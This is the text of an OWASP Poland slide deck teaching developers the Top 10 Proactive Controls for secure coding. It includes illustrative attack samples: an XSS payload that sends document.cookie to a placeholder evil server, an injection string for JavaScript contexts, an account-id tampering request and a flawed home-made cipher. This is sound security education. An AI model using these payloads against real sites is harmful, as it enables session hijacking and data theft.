OWASP - Open Web Applications Security Project to fundacja której celem jest eliminacja problemów bezpieczeństwa aplikacji. OWASP działa w duchu "open source" i dostarcza narzędzi, informacji i wiedzy pozwalających podnieść poziom bezpieczeństwa aplikacji. W trakcie wykładu przedstawię krótko OWASP Top 10 w wydaniu dla programistów, czyli "Top 10 Proactive Controls" a więc najważniejsze zalecenia pozwalające na uniknięcie kluczowych błędów bezpieczeństwa.

1. Ten Commandments of Secure
Coding
OWASP Top Ten Proactive Controls
Mateusz Olejarka
OWASP Poland

2. Mateusz Olejarka @molejarka
• Senior IT Security Consultant
@SecuRing
• Ex-developer
• OWASP Poland since 2011

3. OWASP
O = Open
• Docs & tools
– free
– Creative Commons license
– open source
• Build with open collaboration in mind
– Each one of you can join
3

4. OWASP Poland Chapter
• Since 2007
• Meetings: Kraków, Poznań, Warszawa
• Free entry
• Supporters:

5. 4Developers 2014* questionnaire
* SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w
polskich firmach – 2014”
• 62% companies do not educate programmers on
application security
• >50% companies do not consider security during the
design stage
• 73% participants confirmed, that they fixed security
related issues
• only 42% confirmed, that they do security testing
before production deployment

6. OWASP Top10 Risk vs
OWASP Top10 Proactive Controls

7. Disclaimer
• Do not rely your application security on Top
10 *
– It is purely educational material
– Each application has its own risk profile

8. Thou shalt parametrize
queries
1: Parametrize queries

9. SQL/LDAP/XML/cmd/…-injection
Easily exploitable
• Simple to use tools exist
Devastating impact
Źródło: http://xkcd.com/327/

10. Best practices
#1 Prepared Statements /
Parametrized Queries
#2 Stored Procedures
– Watch for exeptions! (eval,dynamic block, etc.)
#3 Escaping
– risky!
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

11. References
• Bobby Tables: A guide to preventing SQL
injection
• Query Parameterization Cheat Sheet
• SQL Injection Prevention Cheat Sheet
• OWASP Secure Coding Practices Quick
Reference Guide

12. 2: Thou shalt encode data
2: Encode Data

13. XSS
• Site defacement
• Session hijacking
<script>document.body.innerHTML(“Jim was here”);</script>
<script>
var img = new Image();
img.src="http://<some evil server>.com?” + document.cookie;
</script>

14. Results of missing encoding
• Session hijacking
• Network scanning
• CSRF prevention bypass
• Site defacement (browser)
• …
• Browser hijack
– vide BeEF

16. Cross Site Scripting
But when we write output inside pure JavaScript:
<script> var split='<bean:write name="transferFormId"
property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--

17. Best practices
• Special character encoding has to be context
aware
– HTML element
– HTML attribute
– JavaScript
– JSON
– CSS / style
– URL

18. References
• XSS (Cross Site Scripting) Prevention Cheat
Sheet
• Java Encoder Project
• Microsoft .NET AntiXSS Library
• OWASP ESAPI
• Encoder Comparison Reference Project

19. Thou shalt validate all inputs
3: Validate All Inputs

20. Why validate anything?
• Most of other vulnerabilities (np. injections,
xss, …) occurs (also) from missing input
validation
• Validation it is like firewall
– Do not protects you agains everything
– …but nice to have

21. Best practices
• Prefer whitelist over blacklist approach,
• Use strongly typed fields
– One validator per one data type
– Easier to integrate a WAF
• Validation = first line of defence
– For exaple type casting prevents injection
– But not the only one!

22. References
• Input Validation Cheat Sheet
• Apache Commons Validator
• OWASP JSON Sanitizer Project
• OWASP Java HTML Sanitizer Project
• Google Caja

23. Thou shalt implement
appropriate access controls
4: Implement Appropriate Access
Controls

24. Account history

25. HTTP request
GET /services/history/account/85101022350445200448009906 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Account id change – we get other user data

26. Best practices
• Server makes a final call!
• Default deny
• All request must go through access controll
– centralized, easy to use mechanism
• Access control rules (policy) should be
separated from code
– Not a part of it

27. if (currentUser.hasRole(“administrator”)) {
//pozwol
} else {
//zabron
}
If (currentUser.isPermitted(printPermission)) {
//pozwol
} else {
//zabron
}

28. References
• Access Control Cheat Sheet
• Java Authorization Guide with Apache Shiro
– Apache Shiro Authorization features
• OWASP PHPRBAC Project

29. Thou shalt establish identity
and authentication controls
5: Establish Identity and
Authentication Controls

30. Example vulnerability
• Authentication with locally stored key (on the
machine)
• Process:
1. Enter login
2. Select key file,enter key password
3. We are logged in
https://...../GenerateNewKey

31. Best practices
• Check access control for the functions
allowing to change authentication credentials
• „chain of trust” rule
• Watch for session at the border!
• Do not limit length and characters to use in
password

32. References
• Authentication Cheat Sheet
• Password Storage Cheat Sheet
• Forgot Password Cheat Sheet
• Session Management Cheat Sheet

33. Thou shalt protect data and
privacy
6: Protect Data and Privacy

34. Example (at transit)
• SSL covers encryption and authentication
• What verifies servers identity?
– Web applications: Browser
– Mobile / thick-client / embedded… application:
Application
• Common errors
– Missing certificate validation
– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”
– Missing exception handling

35. Best practices (in transit)
• TLS
• For whole application
• Cookies: „Secure” flag
• HTTP Strict Transport Security
• Strong cipher suites
• Chain of trust
• Certificate pinning

36. References (in transit)
• Transport Layer Protection Cheat Sheet
• Pinning Cheat Sheet
• OWASP O-Saft (SSL Audit for Testers)

37. Example (at rest)
• Storing password
• „Own” SHA1 function
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}

38. Best practices(at rest)
• Do not reinwent the wheel!
– Home-bred ciphers are evil
– Own crypto is evil
– Only libraries with reputation!
• Strong ciphers in strong modes
– ECB is evil
– CBC – watch for „padding oracle”
• Good RNG for IV

39. References
• Google KeyCzar
• Cryptographic Storage Cheat Sheet
• Password Storage Cheat Sheet

40. Thou shalt implement logging,
error handling and intrusion
detection
7: Implement Logging, Error
Handling and Intrusion Detection

41. References
• Logging Cheat Sheet
• OWASP AppSensor Project

42. Thou shalt leverage security
features of frameworks and
security libraries
8: Leverage Security Features of
Frameworks and Security Libraries

43. Refenences
• PHP Security Cheat Sheet
• .NET Security Cheat Sheet
• Spring Security
• Apache Shiro
• OWASP Dependency Check / Track

44. Thou shalt include security-
specific requirements
9: Include Security-Specific
Requirements

45. Building requirements
• Attack scenatios
– How threats can reach the objectives?
– Requires experience and expertise
• Selection of security controls ==
REQUIREMENTS
Threat Results
Attack
scenarios
Who? How? What?

46. References
• OWASP Application Security Verification
Standard Project
• Software Assurance Maturity Model
• Business Logic Security Cheat Sheet
• Testing for business logic (OWASP-BL-001)

47. Thou shalt design and
architect security in
10: Design and Architect Security In

48. References
• Software Assurance Maturity Model
(OpenSAMM)
• Application Security Verification Standard
Project
• Application Security Architecture Cheat Sheet
• Attack Surface Analysis Cheat Sheet
• Threat Modeling Cheat Sheet

49. Summary

50. That was just the Top Ten!
• Each application is different
– Risk profile should be defined (WHO? WHY?)
– Consider „compliance with existing regulations”
• Few easy steps with big positive impact
• Developers education is worth it!

51. OWASP meetings
• https://www.owasp.org/index.php/Poland
• Mailing list
• Facebook: OWASP Poland Local Chapter
• Twitter: @owasppoland

52. Thank you!
Mateusz Olejarka
@molejarka
mateusz.olejarka@owasp.org